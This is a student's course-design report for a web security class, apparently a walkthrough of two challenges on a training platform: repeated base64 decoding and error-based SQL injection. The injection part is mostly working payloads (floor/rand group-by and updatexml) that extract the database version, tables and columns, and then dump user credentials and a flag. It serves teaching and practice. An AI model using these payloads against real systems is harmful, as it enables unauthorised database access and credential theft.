web安全技术课程设计报告
2014-2015第二学期
班级:12网安3班
姓名:张孝丽
学号:1215135083
指导老师:林玉香
2015年5月28日
一.题目选择和分数
1.题目:
网络信息安全攻防学习平台 /main.php
1 基本关第3题
从这一段加密后的我看到了密文最后的等号,这是base64加密的标志。
所以就直接用网上的base64解密就可以得到我们想要的key值
其中的解密次数有很多次,在经过多次的解密后得到的明文是
所以最终提交的key值是jkljdkl232jkljkdl2389
3 注入关第一题
点击通关地址进去,出现的页面是
在url的结尾分别加入“’”、and 1=1、and 1 = 2
由此可以判断该站存在sql注入,并且可以进行手工构造url语句来获取数据库中的信息分别构造下面的sql语句
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到:5.1.61-Alibaba-rds-201404-log
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到数据库:r0866cplushua
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
猜解表名:log,motto,user,请修改limit 后面的0改变注入数据
首先根据平时的经验,我们看一下user表里面的数据,如下:
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到如下几个字段id,username,password 请修改limit 后面的0改变注入数据
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,password,0x7e) FROM user limit 0,1),0x7e),1)%23
猜解内容如下:
admin,password
guest,guest
test,1234
发现没有我们需要的数据,那么数据可能不在user表,接着猜解motto表。
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6D6F74746F LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到如下字段:id,username,motto
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,motto,0x7e) FROM motto limit 0,1),0x7e),1)%23
得到如下内容:(请修改limit 后面的0改变注入数据)
admin:mymotto
guest:happy everyday
test:nothing help
#adf#ad@@#:key#notfound!#
由于题目中提到flag中不带key和#
所以最后所得的key值是:notfound!。